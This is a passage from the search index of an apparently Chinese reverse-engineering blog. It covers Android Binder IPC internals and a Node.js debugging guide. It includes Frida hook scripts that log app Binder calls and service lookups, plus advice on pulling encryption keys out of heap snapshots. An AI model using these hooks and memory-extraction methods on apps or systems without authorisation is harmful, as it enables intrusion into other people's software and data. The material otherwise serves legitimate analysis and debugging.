","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:6:4","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#64-parcel-底层原理"},{"categories":null,"collections":null,"content":"6.5 Binder 线程池管理 /** * Binder 线程池详解 */ // ProcessState: 每个进程一个 class ProcessState : public virtual RefBase { public: static sp\u003cProcessState\u003e self(); // 打开 Binder 驱动 int getContextObject(const sp\u003cIBinder\u003e\u0026 caller); // 启动线程池 void startThreadPool(); // 设置最大线程数 void setThreadPoolMaxThreadCount(size_t maxThreads); private: ProcessState(const char* driver); int mDriverFD; // /dev/binder 文件描述符 void* mVMStart; // mmap 起始地址 size_t mMaxThreads; // 最大线程数 Mutex mLock; Vector\u003cBBinder*\u003e mBindersByHandle; // 句柄 → BBinder 映射 }; // IPCThreadState: 每个线程一个 class IPCThreadState { public: static IPCThreadState* self(); // 加入线程池处理请求 void joinThreadPool(bool isMain = true); // 发起跨进程调用 status_t transact(int32_t handle, uint32_t code, const Parcel\u0026 data, Parcel* reply, uint32_t flags); // 获取调用者信息 uid_t getCallingUid() const; pid_t getCallingPid() const; private: IPCThreadState(); int mProcess; pid_t mCallingPid; uid_t mCallingUid; Parcel mIn; // 读取缓冲区 Parcel mOut; // 写入缓冲区 }; // 线程池工作循环 void IPCThreadState::joinThreadPool(bool isMain) { mOut.writeInt32(isMain ? BC_ENTER_LOOPER : BC_REGISTER_LOOPER); status_t result; do { // 处理待处理的任务 processPendingDerefs(); // 阻塞等待请求 result = getAndExecuteCommand(); // 如果驱动请求创建新线程 if (result == -ECONNREFUSED) { ALOGI(\"Binder driver refused\"); break; } } while (result != -ECONNREFUSED); mOut.writeInt32(BC_EXIT_LOOPER); talkWithDriver(false); } // 处理单个命令 status_t IPCThreadState::getAndExecuteCommand() { status_t result; int32_t cmd; // 与驱动通信 result = talkWithDriver(); if (result \u003e= NO_ERROR) { size_t IN = mIn.dataAvail(); if (IN \u003c sizeof(int32_t)) return result; cmd = mIn.readInt32(); // 处理命令 result = executeCommand(cmd); } return result; } status_t IPCThreadState::executeCommand(int32_t cmd) { switch ((uint32_t)cmd) { case BR_TRANSACTION: { binder_transaction_data tr; result = mIn.read(\u0026tr, sizeof(tr)); // 保存调用者信息 mCallingPid = tr.sender_pid; mCallingUid = tr.sender_euid; // 查找目标 BBinder if (tr.target.ptr) { // 调用 onTransact reinterpret_cast\u003cBBinder*\u003e(tr.cookie)-\u003etransact( tr.code, buffer, \u0026reply, tr.flags); } // 发送回复 if ((tr.flags \u0026 TF_ONE_WAY) == 0) { sendReply(reply, 0); } break; } case BR_DEAD_BINDER: { BpBinder* proxy = (BpBinder*)mIn.readPointer(); proxy-\u003esendObituary(); break; } // ... 其他命令 } return result; } ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:6:5","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#65-binder-线程池管理"},{"categories":null,"collections":null,"content":"7. Binder 通信流程图解 ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:7:0","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#7-binder-通信流程图解"},{"categories":null,"collections":null,"content":"7.1 完整通信流程 App 想获取 GPS 数据的完整流程: ┌──────────────────────────────────────────────────────────────────────────┐ │ │ │ 1. 服务注册阶段 │ │ ────────────────── │ │ │ │ GPS Service ServiceManager │ │ │ │ │ │ │ addService(\"location\", binder) │ │ │ │ ──────────────────────────────────► │ │ │ │ │ 登记: location → 0x01 │ │ │ │ │ │ │ ├──────────────────────────────────────────────────────────────────────────┤ │ │ │ 2. 服务获取阶段 │ │ ────────────────── │ │ │ │ App (Client) ServiceManager │ │ │ │ │ │ │ getService(\"location\") │ │ │ │ ──────────────────────────────────► │ │ │ │ │ │ │ │ ◄───────────────────────────────── │ │ │ │ 返回 Proxy (句柄 0x01) │ │ │ │ │ │ │ │ ├──────────────────────────────────────────────────────────────────────────┤ │ │ │ 3. 服务调用阶段 │ │ ────────────────── │ │ │ │ App (Proxy) Binder Driver GPS Service (Stub) │ │ │ │ │ │ │ │ transact() │ │ │ │ │ [数据打包] │ │ │ │ │ ────────────────► │ │ │ │ │ │ copy_from_user │ │ │ │ │ [1次拷贝到内核] │ │ │ │ │ │ │ │ │ │ 唤醒 Server 线程 │ │ │ │ │ ────────────────────► │ │ │ │ │ │ onTransact() │ │ │ │ │ [解析数据] │ │ │ │ │ [执行 getLocation] │ │ │ │ │ [结果打包] │ │ │ │ ◄────────────────── │ │ │ │ │ reply │ │ │ │ ◄─────────────── │ │ │ │ │ 返回结果 │ │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────────────────────────────────────┘ ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:7:1","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#71-完整通信流程"},{"categories":null,"collections":null,"content":"7.2 形象比喻 假设 App 想找系统获取 GPS 数据: 1. ServiceManager (前台接待): 系统启动时，GPS 服务就在这里登记了。 2. App (Client): 跑到前台问：\"我要找 GPS 服务\"。 3. ServiceManager: 给了 App 一个号牌 (Binder Proxy/句柄)， 说：\"你拿着这个号牌，对着它说话，GPS 服务就能听见。\" 4. Binder 驱动 (传送门): - App 对着号牌喊：\"现在的经纬度是多少？\"（写入数据） - 驱动把这句话瞬间传送到了 GPS 服务的耳朵里（内存映射） 5. GPS 服务 (Server): 算了一下，通过驱动把结果\"经度100，纬度30\"传回去。 6. App: 号牌里传来了声音，App 拿到了数据。 ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:7:2","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#72-形象比喻"},{"categories":null,"collections":null,"content":"7. Binder 在逆向中的应用 ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:8:0","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#7-binder-在逆向中的应用"},{"categories":null,"collections":null,"content":"8.1 Hook Binder 调用 /** * Frida Hook Binder.transact * 监控所有跨进程调用 */ Java.perform(function() { var Binder = Java.use(\"android.os.Binder\"); Binder.transact.overload('int', 'android.os.Parcel', 'android.os.Parcel', 'int') .implementation = function(code, data, reply, flags) { console.log(\"[Binder.transact]\"); console.log(\" code: \" + code); console.log(\" flags: \" + flags); // 读取 Parcel 数据 data.setDataPosition(0); var interfaceToken = data.readInterfaceToken(); console.log(\" interface: \" + interfaceToken); data.setDataPosition(0); // 调用原方法 var result = this.transact(code, data, reply, flags); // 读取返回数据 reply.setDataPosition(0); console.log(\" reply size: \" + reply.dataSize()); return result; }; }); ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:8:1","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#81-hook-binder-调用"},{"categories":null,"collections":null,"content":"8.2 监控系统服务调用 /** * Hook ServiceManager.getService * 监控 App 获取了哪些系统服务 */ Java.perform(function() { var ServiceManager = Java.use(\"android.os.ServiceManager\"); ServiceManager.getService.overload('java.lang.String') .implementation = function(name) { console.log(\"[ServiceManager.getService] \" + name); // 打印调用栈 console.log(Java.use(\"android.util.Log\") .getStackTraceString(Java.use(\"java.lang.Exception\").$new())); return this.getService(name); }; }); ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:8:2","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#82-监控系统服务调用"},{"categories":null,"collections":null,"content":"8.3 分析 AIDL 接口 /** * 动态分析 AIDL 接口 */ Java.perform(function() { // Hook 所有继承自 Binder 的类 Java.enumerateLoadedClasses({ onMatch: function(className) { if (className.includes(\"$Stub\")) { try { var cls = Java.use(className); console.log(\"[AIDL Stub] \" + className); // Hook onTransact cls.onTransact.overload('int', 'android.os.Parcel', 'android.os.Parcel', 'int') .implementation = function(code, data, reply, flags) { console.log(\" [\" + className + \"] code: \" + code); return this.onTransact(code, data, reply, flags); }; } catch (e) {} } }, onComplete: function() {} }); }); ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:8:3","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#83-分析-aidl-接口"},{"categories":null,"collections":null,"content":"8.4 Binder 数据解析 /** * 解析 Parcel 数据 */ function parseParcel(parcel) { parcel.setDataPosition(0); var result = { dataSize: parcel.dataSize(), dataPosition: parcel.dataPosition(), dataCapacity: parcel.dataCapacity() }; // 尝试读取不同类型的数据 try { result.interfaceToken = parcel.readInterfaceToken(); } catch (e) {} parcel.setDataPosition(0); // Dump 原始数据 var data = parcel.marshall(); result.rawData = hexdump(data, { length: Math.min(data.length, 256) }); return result; } ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:8:4","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#84-binder-数据解析"},{"categories":null,"collections":null,"content":"8. 总结 ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:9:0","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#8-总结"},{"categories":null,"collections":null,"content":"8.1 Binder 核心要点 特性 说明 地位 Android 的神经系统 架构 C/S 架构：Client、Server、ServiceManager、Driver 性能 1 次拷贝 (mmap 内存映射) 安全 内核层 UID/PID 校验 易用 AIDL 封装 RPC 调用 ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:9:1","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#81-binder-核心要点"},{"categories":null,"collections":null,"content":"8.2 限制 传输大小限制：通常 1MB - 8KB，过大的图片不要通过 Binder 传 同步调用：Client 发起的调用通常是同步的，Server 耗时太久会导致 ANR Android 特有：不是标准 Linux IPC，只能在 Android 中使用 ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:9:2","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#82-限制"},{"categories":null,"collections":null,"content":"8.3 Binder 的重要性 理解了 Binder，你就理解了： 为什么 Android App 可以互相调起 为什么系统服务可以管理所有 App 插件化和组件化开发的底层基石 LSPosed 等框架的跨进程通信机制 推荐下一步： ART 运行时 Magisk 与 LSPosed 原理 ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:9:3","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#83-binder-的重要性"},{"categories":null,"collections":null,"content":"Node.js 调试指南 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:0:0","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#nodejs-调试指南"},{"categories":null,"collections":null,"content":"概述 随着 Webpack、Vite 等构建工具的普及，前端代码的混淆和打包逻辑往往运行在 Node.js 环境中。逆向工程中，我们经常需要调试 Webpack 的 Loader/Plugin、分析服务端的 JS 逻辑、或者理解加密算法的实现。 Node.js 调试的核心是利用 Chrome DevTools Protocol (CDP) 提供的强大调试能力。 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:1:0","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#概述"},{"categories":null,"collections":null,"content":"1. 基础调试 (–inspect-brk) ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:2:0","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#1-基础调试-inspect-brk"},{"categories":null,"collections":null,"content":"1.1 启动调试模式 最通用的 Node.js 调试方法： # --inspect: 启动调试，但不暂停 node --inspect script.js # --inspect-brk: 启动调试并在第一行暂停（推荐） node --inspect-brk script.js # 指定调试端口（默认 9229） node --inspect-brk=5858 script.js # 绑定到所有网络接口（允许远程调试） node --inspect-brk=0.0.0.0:9229 script.js ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:2:1","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#11-启动调试模式"},{"categories":null,"collections":null,"content":"1.2 连接 Chrome DevTools 方法 1: chrome://inspect 启动调试模式后，终端显示： Debugger listening on ws://127.0.0.1:9229/unique-id 打开 Chrome 浏览器，访问 chrome://inspect 在 “Remote Target” 下点击 “inspect” 按钮 自动打开 DevTools，可以像调试网页一样调试 Node.js 方法 2: DevTools URL chrome-devtools://devtools/bundled/js_app.html?ws=127.0.0.1:9229/unique-id 方法 3: 自动发现 Settings → Discover network targets 添加 localhost:9229 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:2:2","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#12-连接-chrome-devtools"},{"categories":null,"collections":null,"content":"1.3 调试示例 脚本: encrypt.js const crypto = require(\"crypto\"); function encrypt(text, key) { const cipher = crypto.createCipheriv(\"aes-128-cbc\", key, Buffer.alloc(16)); let encrypted = cipher.update(text, \"utf8\", \"hex\"); encrypted += cipher.final(\"hex\"); return encrypted; } const key = Buffer.from(\"1234567890abcdef\"); const result = encrypt(\"Hello World\", key); console.log(\"加密结果:\", result); 调试: node --inspect-brk encrypt.js 在 DevTools 中： 自动停在第一行 在 encrypt 函数打断点 F8 继续执行 → 断在 encrypt 函数 查看 Scope 面板中的 text, key 变量 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:2:3","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#13-调试示例"},{"categories":null,"collections":null,"content":"2. 在 VSCode 中调试 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:3:0","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#2-在-vscode-中调试"},{"categories":null,"collections":null,"content":"2.1 JavaScript Debug Terminal 最简单的方法（无需配置）： 打开 VSCode 点击侧边栏 “Run and Debug” (Ctrl+Shift+D) 点击 “JavaScript Debug Terminal” 在终端中运行： node script.js VSCode 自动 Attach 并停在你打的断点上 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:3:1","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#21-javascript-debug-terminal"},{"categories":null,"collections":null,"content":"2.2 launch.json 配置 更灵活的配置方式： 创建 .vscode/launch.json： 使用方法: F5 启动调试 在代码中点击行号左侧打断点 单步调试 (F10/F11) ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:3:2","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#22-launchjson-配置"},{"categories":null,"collections":null,"content":"2.3 调试 Webpack 打包过程 场景: 理解 Webpack 如何处理模块 webpack.config.js: module.exports = { entry: \"./src/index.js\", output: { filename: \"bundle.js\", path: __dirname + \"/dist\", }, module: { rules: [ { test: /\\.js$/, use: \"./my-custom-loader.js\", // 自定义 Loader }, ], }, }; 调试 Loader: .vscode/launch.json: 在 my-custom-loader.js 中打断点： module.exports = function (source) { debugger; // 自动断在这里 console.log(\"正在处理:\", this.resourcePath); // 你的 Loader 逻辑 return source; }; ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:3:3","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#23-调试-webpack-打包过程"},{"categories":null,"collections":null,"content":"3. 调试第三方包 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:4:0","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#3-调试第三方包"},{"categories":null,"collections":null,"content":"3.1 调试 node_modules 问题: 第三方包代码在 node_modules 中，如何调试？ 方法 1: 禁用 skipFiles .vscode/launch.json: 方法 2: 只跳过特定包 方法 3: 使用 npm link # 进入第三方包目录 cd ~/projects/suspicious-package # 创建全局链接 npm link # 回到项目目录 cd ~/my-project # 链接到本地包（替代 node_modules 中的版本） npm link suspicious-package 现在可以直接在 ~/projects/suspicious-package 中打断点调试。 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:4:1","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#31-调试-node_modules"},{"categories":null,"collections":null,"content":"3.2 调试加密库 案例: 逆向某加密算法 // 在你的代码中 const crypto = require(\"crypto-js\"); // 第三方加密库 // 1. 找到库的源码位置 // node_modules/crypto-js/core.js // 2. 在 VSCode 中打开该文件，打断点 // 3. 运行调试 const encrypted = crypto.AES.encrypt(\"data\", \"key\"); // → 自动断在 crypto-js 内部 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:4:2","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#32-调试加密库"},{"categories":null,"collections":null,"content":"4. 内存与性能分析 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:5:0","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#4-内存与性能分析"},{"categories":null,"collections":null,"content":"4.1 Heap Snapshot (堆快照) 场景: 查找内存泄漏或提取加密密钥 方法 1: 通过 Chrome DevTools 连接到 Node.js 进程 Memory 面板 → “Take snapshot” 搜索关键字（如 secret, key, password） 查看字符串对象的值 方法 2: 通过代码生成 const v8 = require(\"v8\"); const fs = require(\"fs\"); // 生成堆快照 const snapshot = v8.writeHeapSnapshot(); console.log(\"快照已保存到:\", snapshot); // 使用 Chrome DevTools 加载 .heapsnapshot 文件 提取密钥示例: // 1. 生成快照 const snapshot = v8.writeHeapSnapshot(); // 2. 在 Chrome DevTools 中加载 // 3. 搜索 \"1234567890abcdef\" (怀疑的密钥) // 4. 找到对象，查看引用链，定位到代码位置 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:5:1","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#41-heap-snapshot-堆快照"},{"categories":null,"collections":null,"content":"4.2 CPU Profiling (CPU 性能分析) 场景: 找出耗时的加密/混淆函数 方法 1: 通过 Chrome DevTools Profiler 面板 → Start 执行目标操作 Stop → 查看 Flame Chart 方法 2: 通过代码 const inspector = require(\"inspector\"); const fs = require(\"fs\"); const session = new inspector.Session(); session.connect(); // 开始性能分析 session.post(\"Profiler.enable\"); session.post(\"Profiler.start\"); // 执行目标代码 expensiveEncryptFunction(); // 停止并保存 session.post(\"Profiler.stop\", (err, { profile }) =\u003e { fs.writeFileSync(\"profile.cpuprofile\", JSON.stringify(profile)); console.log(\"性能分析已保存\"); session.disconnect(); }); 分析结果: 在 Chrome DevTools → Profiler → Load profile 查看 “Self Time” 最长的函数 → 这就是性能瓶颈 通常是加密/混淆的核心逻辑 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:5:2","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#42-cpu-profiling-cpu-性能分析"},{"categories":null,"collections":null,"content":"4.3 Timeline (时间线分析) const { performance } = require(\"perf_hooks\"); // 标记开始 performance.mark(\"encrypt-start\"); encrypt(largeData); // 标记结束 performance.mark(\"encrypt-end\"); // 测量耗时 performance.measure(\"encrypt\", \"encrypt-start\", \"encrypt-end\"); const measure = performance.getEntriesByName(\"encrypt\")[0]; console.log(`加密耗时: ${measure.duration}ms`); ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:5:3","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#43-timeline-时间线分析"},{"categories":null,"collections":null,"content":"5. 调试异步代码 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:6:0","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#5-调试异步代码"},{"categories":null,"collections":null,"content":"5.1 Promise 调试 问题: Promise 链中的错误难以追踪 解决方案 1: async/await // ❌ 难以调试 fetch(url) .then((res) =\u003e res.json()) .then((data) =\u003e process(data)) .catch((err) =\u003e console.error(err)); // ✅ 易于调试 async function fetchData() { const res = await fetch(url); // 断点 const data = await res.json(); // 断点 return process(data); // 断点 } 解决方案 2: 启用 async stack traces 在 Chrome DevTools 中： Settings → Enable async stack traces ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:6:1","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#51-promise-调试"},{"categories":null,"collections":null,"content":"5.2 调试事件循环 查看当前事件循环状态: const async_hooks = require(\"async_hooks\"); const hooks = async_hooks.createHook({ init(asyncId, type, triggerAsyncId) { console.log(`[Init] ${type} (id=${asyncId}, trigger=${triggerAsyncId})`); }, before(asyncId) { console.log(`[Before] ${asyncId}`); }, after(asyncId) { console.log(`[After] ${asyncId}`); }, }); hooks.enable(); // 运行你的异步代码 setTimeout(() =\u003e { console.log(\"Timeout executed\"); }, 1000); ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:6:2","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#52-调试事件循环"},{"categories":null,"collections":null,"content":"5.3 调试 setInterval 泄漏 问题: setInterval 没有正确清理，导致内存泄漏 检测方法: const timers = new Set(); const originalSetInterval = global.setInterval; global.setInterval = function (...args) { const timer = originalSetInterval(...args); timers.add(timer); console.log(\"[setInterval]\", args[1], \"已创建\", timers.size, \"个定时器\"); return timer; }; const originalClearInterval = global.clearInterval; global.clearInterval = function (timer) { timers.delete(timer); console.log(\"[clearInterval] 已清理\", timers.size, \"个定时器剩余\"); return originalClearInterval(timer); }; ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:6:3","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#53-调试-setinterval-泄漏"},{"categories":null,"collections":null,"content":"6. 调试 ES6+ 特性 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:7:0","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#6-调试-es6-特性"},{"categories":null,"collections":null,"content":"6.1 调试 ES Modules 问题: 使用 import/export 的模块无法直接调试 方法 1: 原生支持 (Node.js 14+) node --inspect-brk --experimental-modules script.mjs 方法 2: 使用 babel-node npm install -D @babel/node @babel/core @babel/preset-env # 调试 node --inspect-brk node_modules/@babel/node/bin/babel-node.js script.js ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:7:1","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#61-调试-es-modules"},{"categories":null,"collections":null,"content":"6.2 调试 TypeScript 方法 1: ts-node npm install -D ts-node # 调试 node --inspect-brk -r ts-node/register script.ts 方法 2: Source Maps tsconfig.json: .vscode/launch.json: ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:7:2","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#62-调试-typescript"},{"categories":null,"collections":null,"content":"7. 远程调试 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:8:0","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#7-远程调试"},{"categories":null,"collections":null,"content":"7.1 调试生产环境 警告: 生产环境调试需谨慎，可能影响性能 启动服务器: # 服务器端（允许所有 IP 连接） node --inspect=0.0.0.0:9229 server.js 本地连接: # SSH 隧道转发 ssh -L 9229:localhost:9229 user@remote-server # 现在访问 chrome://inspect 即可调试远程服务器 安全建议: 仅在开发/测试环境使用 使用 SSH 隧道，不要直接暴露调试端口 调试后立即关闭 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:8:1","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#71-调试生产环境"},{"categories":null,"collections":null,"content":"7.2 Docker 容器调试 Dockerfile: FROM node:18 WORKDIR /app COPY . . RUN npm install # 暴露调试端口 EXPOSE 9229 CMD [\"node\", \"--inspect=0.0.0.0:9229\", \"server.js\"] 运行: # 映射调试端口 docker run -p 9229:9229 -p 3000:3000 my-app # 访问 chrome://inspect docker-compose.yml: version: \"3\" services: app: build: . ports: - \"3000:3000\" - \"9229:9229\" command: node --inspect=0.0.0.0:9229 server.js volumes: - .:/app - /app/node_modules # 避免覆盖 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:8:2","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#72-docker-容器调试"},{"categories":null,"collections":null,"content":"8. 调试技巧与最佳实践 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:9:0","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#8-调试技巧与最佳实践"},{"categories":null,"collections":null,"content":"8.1 条件断点 在 Chrome DevTools 或 VSCode 中： // 右键断点 → Edit breakpoint → Condition user_id === 123; // 或在代码中 if (user_id === 123) { debugger; } ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:9:1","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#81-条件断点"},{"categories":null,"collections":null,"content":"8.2 Logpoints (日志点) 不修改源码的情况下打印日志: VSCode: 右键行号 → “Add Logpoint” // 语法（不需要 console.log） \"user_id:\", user_id, \"key:\", key; ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:9:2","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#82-logpoints-日志点"},{"categories":null,"collections":null,"content":"8.3 Watch 表达式 在 Watch 面板添加表达式： JSON.stringify(params); Buffer.from(key).toString(\"hex\"); new Date(timestamp); ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:9:3","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#83-watch-表达式"},{"categories":null,"collections":null,"content":"8.4 环境变量调试 # 设置环境变量 export DEBUG=* # 启用所有 debug 日志 export NODE_ENV=development # 在代码中读取 console.log(process.env.DEBUG); 使用 debug 模块: const debug = 